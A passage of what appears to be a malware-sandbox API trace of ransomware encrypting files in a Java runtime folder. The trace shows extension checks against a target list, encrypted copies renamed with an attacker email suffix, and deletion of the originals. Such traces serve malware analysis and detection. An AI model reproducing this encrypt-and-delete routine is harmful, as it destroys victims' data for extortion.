	[0156.498] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.498] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0156.498] SetEndOfFile (hFile=0x418) returned 1
	[0156.499] CloseHandle (hObject=0x418) returned 1
	[0156.499] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.499] SetEndOfFile (hFile=0x494) returned 1
	[0156.501] CloseHandle (hObject=0x494) returned 1
	[0156.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.501] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1
	[0156.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.503] lstrlenW (lpString=".doc") returned 4
	[0156.503] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.503] lstrlenW (lpString=".docx") returned 5
	[0156.503] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.503] lstrlenW (lpString=".pdf") returned 4
	[0156.503] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.503] lstrlenW (lpString=".xls") returned 4
	[0156.503] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.503] lstrlenW (lpString=".xlsx") returned 5
	[0156.504] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.504] lstrlenW (lpString=".ppt") returned 4
	[0156.504] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.504] lstrlenW (lpString=".zip") returned 4
	[0156.504] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString=".rar") returned 4
	[0156.504] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString=".bz2") returned 4
	[0156.504] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString=".7z") returned 3
	[0156.504] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.504] lstrlenW (lpString=".dbf") returned 4
	[0156.504] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.504] lstrlenW (lpString=".1cd") returned 4
	[0156.504] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.504] lstrlenW (lpString=".jpg") returned 4
	[0156.504] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.504] lstrlenW (lpString=".doc") returned 4
	[0156.504] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.504] lstrlenW (lpString=".docx") returned 5
	[0156.504] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.504] lstrlenW (lpString=".pdf") returned 4
	[0156.505] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString=".xls") returned 4
	[0156.505] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString=".xlsx") returned 5
	[0156.505] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.505] lstrlenW (lpString=".ppt") returned 4
	[0156.505] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.505] lstrlenW (lpString=".zip") returned 4
	[0156.505] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString=".rar") returned 4
	[0156.505] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString=".bz2") returned 4
	[0156.505] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString=".7z") returned 3
	[0156.505] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.505] lstrlenW (lpString=".dbf") returned 4
	[0156.505] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.505] lstrlenW (lpString=".1cd") returned 4
	[0156.505] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0156.505] lstrlenW (lpString=".jpg") returned 4
	[0156.505] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.505] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.505] lstrlenW (lpString="messages_zh_HK.properties") returned 25
	[0156.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.506] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3752) returned 1
	[0156.506] CloseHandle (hObject=0x494) returned 1
	[0156.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20
	[0156.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.507] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.507] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.507] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.507] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.507] GetLastError () returned 0x0
	[0156.507] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xea8, lpOverlapped=0x0) returned 1
	[0156.509] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0156.510] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.510] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0156.510] SetEndOfFile (hFile=0x418) returned 1
	[0156.510] CloseHandle (hObject=0x418) returned 1
	[0156.510] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.510] SetEndOfFile (hFile=0x494) returned 1
	[0156.513] CloseHandle (hObject=0x494) returned 1
	[0156.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.513] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1
	[0156.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.514] lstrlenW (lpString=".doc") returned 4
	[0156.514] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString=".docx") returned 5
	[0156.514] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.514] lstrlenW (lpString=".pdf") returned 4
	[0156.514] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString=".xls") returned 4
	[0156.514] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString=".xlsx") returned 5
	[0156.514] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.514] lstrlenW (lpString=".ppt") returned 4
	[0156.514] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.514] lstrlenW (lpString=".zip") returned 4
	[0156.514] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString=".rar") returned 4
	[0156.514] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString=".bz2") returned 4
	[0156.514] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString=".7z") returned 3
	[0156.514] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.514] lstrlenW (lpString=".dbf") returned 4
	[0156.514] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.514] lstrlenW (lpString=".1cd") returned 4
	[0156.514] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString=".jpg") returned 4
	[0156.515] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString=".doc") returned 4
	[0156.515] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString=".docx") returned 5
	[0156.515] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.515] lstrlenW (lpString=".pdf") returned 4
	[0156.515] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString=".xls") returned 4
	[0156.515] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString=".xlsx") returned 5
	[0156.515] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.515] lstrlenW (lpString=".ppt") returned 4
	[0156.515] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString=".zip") returned 4
	[0156.515] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString=".rar") returned 4
	[0156.515] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString=".bz2") returned 4
	[0156.515] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString=".7z") returned 3
	[0156.515] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString=".dbf") returned 4
	[0156.515] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString=".1cd") returned 4
	[0156.515] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0156.515] lstrlenW (lpString=".jpg") returned 4
	[0156.515] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.516] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.516] lstrlenW (lpString="messages_zh_TW.properties") returned 25
	[0156.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.516] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3752) returned 1
	[0156.516] CloseHandle (hObject=0x494) returned 1
	[0156.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20
	[0156.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.517] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.517] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.517] GetLastError () returned 0x0
	[0156.517] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xea8, lpOverlapped=0x0) returned 1
	[0156.847] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0156.863] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.863] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0156.863] SetEndOfFile (hFile=0x418) returned 1
	[0156.863] CloseHandle (hObject=0x418) returned 1
	[0156.863] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.863] SetEndOfFile (hFile=0x494) returned 1
	[0156.866] CloseHandle (hObject=0x494) returned 1
	[0156.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.867] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1
	[0156.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.867] lstrlenW (lpString=".doc") returned 4
	[0156.867] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.867] lstrlenW (lpString=".docx") returned 5
	[0156.867] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.867] lstrlenW (lpString=".pdf") returned 4
	[0156.867] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.867] lstrlenW (lpString=".xls") returned 4
	[0156.867] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.867] lstrlenW (lpString=".xlsx") returned 5
	[0156.867] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.867] lstrlenW (lpString=".ppt") returned 4
	[0156.867] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.867] lstrlenW (lpString=".zip") returned 4
	[0156.867] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".rar") returned 4
	[0156.868] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".bz2") returned 4
	[0156.868] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".7z") returned 3
	[0156.868] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.868] lstrlenW (lpString=".dbf") returned 4
	[0156.868] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.868] lstrlenW (lpString=".1cd") returned 4
	[0156.868] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.868] lstrlenW (lpString=".jpg") returned 4
	[0156.868] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.868] lstrlenW (lpString=".doc") returned 4
	[0156.868] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".docx") returned 5
	[0156.868] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.868] lstrlenW (lpString=".pdf") returned 4
	[0156.868] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".xls") returned 4
	[0156.868] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".xlsx") returned 5
	[0156.868] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.868] lstrlenW (lpString=".ppt") returned 4
	[0156.868] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.868] lstrlenW (lpString=".zip") returned 4
	[0156.868] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".rar") returned 4
	[0156.868] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".bz2") returned 4
	[0156.868] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.868] lstrlenW (lpString=".7z") returned 3
	[0156.868] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.869] lstrlenW (lpString=".dbf") returned 4
	[0156.869] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.869] lstrlenW (lpString=".1cd") returned 4
	[0156.869] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0156.869] lstrlenW (lpString=".jpg") returned 4
	[0156.869] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.869] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".GTF") returned -1
	[0156.869] lstrlenW (lpString="meta-index") returned 10
	[0156.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.087] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1461) returned 1
	[0157.087] CloseHandle (hObject=0x4bc) returned 1
	[0157.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20
	[0157.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.088] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.088] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.089] GetLastError () returned 0x0
	[0157.089] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5b5, lpOverlapped=0x0) returned 1
	[0157.092] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5c0, lpOverlapped=0x0) returned 1
